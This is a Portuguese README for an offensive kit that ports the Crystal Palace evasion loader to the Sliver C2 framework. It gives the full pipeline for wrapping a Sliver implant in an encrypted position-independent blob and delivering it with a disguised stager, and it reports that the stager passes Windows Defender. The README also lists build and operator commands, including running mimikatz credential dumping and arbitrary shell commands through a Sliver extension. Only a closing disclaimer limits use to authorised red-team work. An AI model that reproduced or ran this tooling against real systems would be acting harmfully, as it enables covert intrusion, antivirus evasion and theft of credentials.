Kit de evasão Crystal Palace para Sliver
Kit de evasão Crystal Palace portado para Sliver C2.
Este é o primeiro port público do Crystal-Kit (Cobalt Strike) do rasta-mouse para o Sliver. Ele segue o mesmo padrão cross-C2 comprovado pelo Crystal-Kit-Xenon (Mythic).
Substitui o loader reflexivo padrão do Sliver e o caminho de execução pós-ex pelo Crystal Palace (Raphael Mudge, BSD). O resultado é um blob de código independente de posição (PICO) que agrega:
LoadLibrary / GetProcAddress diretos)VirtualAlloc / VirtualProtect / VirtualFree / LoadLibraryAA DLL do implante Sliver (ou qualquer DLL pós-ex) é mascarada com XOR dentro do PICO e só é desmascarada em memória no momento da execução.
A DLL bruta do implante Sliver nunca é executada diretamente no alvo. Em vez disso, ela é envolvida com Crystal Palace em um PICO, criptografada com AES-256-CBC e entregue com um stager personalizado (~17 KB) que a descriptografa e executa em memória.
sliver-server generate --format shared → impl.dll
│
▼
generate-implant.sh --dll impl.dll → sliver.crystal.bin (~110 KB PICO)
│
▼
bundle-stager.sh → csvchelper.exe (~17 KB, no embedded payload)
→ payload.dat (~36 MB AES-256-CBC ciphertext)
│
▼ deliver BOTH files to same directory on target
▼
Windows VM: csvchelper.exe
│
▼ BCrypt AES-256-CBC decrypt payload.dat → PICO in RW memory
▼ VirtualProtect(RX) → CreateThread → Crystal Palace entry
▼ register .pdata → TLS callbacks → DllMain → StartW() → beacon goroutine → HTTP session
Com uma sessão ativa, execute DLLs sensíveis (recon, coletores de credenciais etc.) por meio do Crystal Palace via uma Extensão do Sliver.
sliver > extensions install crystal-loader-0.1.0.tar.gz
sliver > crystal --payload C:/path/mimikatz.pico.bin
Passe argumentos de runtime sem recompilar, acrescentando-os após |:
sliver > crystal --payload C:/path/file.pico.bin|args here
A crystal-loader.x64.dll é uma Extensão DLL do Sliver que lê o blob PICO do disco para uma região VirtualAlloc(RW), converte-a para RX com VirtualProtect e salta para o entrypoint do Crystal Palace. Nenhum mapeamento PAGE_EXECUTE_READWRITE é mantido. Os caminhos usam barras normais (/). O formato do argumento é type:string (não binário BOF). A DLL é carregada em memória pelo Sliver — ela não é gravada como arquivo no disco do alvo.
crystal-exec é um segundo comando incluído na mesma extensão. Ele executa comandos shell arbitrários por meio da evasão do Crystal Palace usando um PICO embutido diretamente na DLL da extensão — sem necessidade de enviar arquivo PICO.
sliver > crystal-exec --cmd "whoami /all"
A saída é retornada ao operador pela sessão Sliver existente via pipe. Este é o caminho mais rápido para comandos shell pontuais quando você não precisa de uma DLL pós-ex completa.
crystal-kit-sliver/
├── loader/ ← Reflective loader sources (Use case A) — verbatim from Crystal-Kit
├── postex-loader/ ← Post-ex loader sources (Use case B) — Crystal-Kit + Xenon patch
├── libtcg.x64.zip ← Upstream binary dependency (kept in tree for build convenience)
└── sliver-glue/ ← Sliver-specific build glue
├── extension.json Sliver Extension manifest
├── generate.sh Wrap a post-ex DLL → PICO (Use case B)
├── generate-implant.sh Wrap a Sliver DLL → PICO (Use case A)
├── bundle-implant.sh Bundle PICO + Crystal Palace demo stager into drop.zip (legacy)
├── bundle-stager.sh Build custom stager: csvchelper.exe + payload.dat (primary)
├── pack-extension.sh Pack DLL + manifest into Sliver Extension tarball
├── Makefile make objects / package / clean
├── stager/ Custom stager sources (AES-256-CBC, asInvoker manifest)
└── wrapper/ crystal-loader.c (BOF-compat DLL wrapper)
docs/
├── RUNBOOK.md Step-by-step Kali → Windows lab procedure
├── PORTING_MAP.md File-by-file mapping Crystal-Kit → this repo + literal diffs
└── TOOLCHAIN.md Build prerequisites and pipeline details
# 1. Toolchain
sudo apt install -y mingw-w64 nasm openjdk-17-jdk make zip git curl
# 2. Crystal Palace dist (BSD-3-Clause, Raphael Mudge)
mkdir -p external/crystalpalace
curl -fsSL https://tradecraftgarden.org/download/cpdist-latest.tgz \
| tar -xz -C external/crystalpalace/
export CRYSTAL_PALACE_HOME=$(pwd)/external/crystalpalace/dist
# 3. Build everything
make -C crystal-kit-sliver/loader all
make -C crystal-kit-sliver/postex-loader all
make -C crystal-kit-sliver/sliver-glue/wrapper all
make -C crystal-kit-sliver/sliver-glue/wrapper smoketest
make -C crystal-kit-sliver/sliver-glue/crystal-exec all
# 4. Use case A — wrap a Sliver implant and build the stager
./crystal-kit-sliver/sliver-glue/generate-implant.sh --dll /path/to/sliver-impl.dll \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin
./crystal-kit-sliver/sliver-glue/bundle-stager.sh \
crystal-kit-sliver/sliver-glue/build/sliver.crystal.bin \
crystal-kit-sliver/sliver-glue/build/csvchelper.exe
# → produces build/csvchelper.exe + build/payload.dat (deliver both to target)
# 5. Use case B — wrap a post-ex DLL (postex.sh handles naming and prints the sliver command)
./crystal-kit-sliver/sliver-glue/postex.sh /path/to/postex.dll
# With baked-in args: postex.sh /path/to/postex.dll "sekurlsa::logonpasswords exit"
./crystal-kit-sliver/sliver-glue/pack-extension.sh
# 6. crystal-exec — rebuild the built-in command executor (only needed after modifying crystalexec.c)
cd crystal-kit-sliver/sliver-glue/crystal-exec && make && cd -
./crystal-kit-sliver/sliver-glue/pack-extension.sh
Consulte docs/RUNBOOK.md para o procedimento completo do operador (instalação do Sliver, configuração do listener, execução no alvo, solução de problemas).
| Item | Status | Evidência |
|---|---|---|
| Todos os códigos-fonte do Crystal-Kit compilam com MinGW 15.2 + NASM 3.01 | OK | make all limpo, 8 .o + 1 .bin por loader |
| Patches pós-ex do Xenon presentes | OK | dfr "ror13", seção _DLLARGS_, parâmetro dll_arguments em DLL_PROCESS_ATTACH |
| CLI do Crystal Palace verificada | OK | ./link <spec> <dll> <out.bin> [%KEY=value] — posicional, documentado em dist/README |
| Build PICO de ponta a ponta (Caso de uso A) | OK | PICO de 117 KB produzido a partir de DLL de teste |
| Build PICO de ponta a ponta (Caso de uso B) | OK | PICO de 111 KB produzido via postex-loader/loader.spec |
| Build das DLLs wrapper de Extensão do Sliver | OK | crystal-loader.x64.dll ~42 KB, crystal-exec.x64.dll ~75 KB — ambas PE32+ exportando o símbolo Initialize; sem RWX; stripped |
| Tarball da extensão empacotado corretamente | OK | tarball de 37 KB validado com tar -tzf |
| Build do stager personalizado (entrega de dois arquivos) | OK | bundle-stager.sh → csvchelper.exe (17 KB, entropia 4.784) + payload.dat (AES-256-CBC) |
| Execução em runtime no Windows (Caso de uso A) | OK | Sessão Sliver estabelecida no Windows 10 x64 FLARE-VM; stager passa pelo Defender (Wacatac.B!ml + ZomBytes.B) |
| Execução em runtime no Windows (Caso de uso B) | OK | crystal --payload C:/path/file.pico.bin — nova sessão Sliver estabelecida via PICO pós-ex; formato de argumento verificado como type:string, caminho com barra normal |
Comando crystal-exec | OK | Saída do comando shell retornada ao operador via pipe; PICO embutido na DLL da extensão, sem necessidade de upload |
| Dependência | Licença | Como obter | Incluída? |
|---|---|---|---|
Crystal Palace (crystalpalace.jar, link, etc.) | BSD-3-Clause, (c) 2025 Raphael Mudge / AFF-WG | curl -O https://tradecraftgarden.org/download/cpdist-latest.tgz | Não (.gitignore exclui external/) |
libtcg.x64.zip | Binário upstream, licença não declarada (provavelmente derivado do QEMU TCG) | Copiado do repositório upstream Crystal-Kit | Sim, mantido na árvore por conveniência de build |
| Sliver C2 | GPLv3 | https://sliver.sh | Não — apenas dependência de runtime |
| MinGW-w64 + NASM | Compatível com GPL | apt install ou brew install | Não |
Este repositório NÃO redistribui o crystalpalace.jar. O pipeline de build o busca externamente e o referencia via a variável de ambiente CRYSTAL_PALACE_HOME.
Consulte NOTICE.md para a lista completa de direitos autorais e licenças upstream. Resumo breve:
dll_args)beacon.h, beacon_compatibility.c/h)docs/PORTING_MAP.md)sliver-glue/ e manifest da Extensãogenerate-implant.sh + bundle-implant.shcrystal --payload funciona, formato de argumento corrigido para type:string, caminho com barra normal)crystal-exec: execução shell pós-ex integrada via Crystal Palace (sem necessidade de upload)| para argumentos de DLL dinâmicos sem recompilarFerramentas de segurança ofensiva destinadas a operações de red team autorizadas, pesquisa em laboratório e educação. Use apenas em ambientes onde você tenha autorização por escrito. O autor não assume nenhuma responsabilidade pelo uso indevido.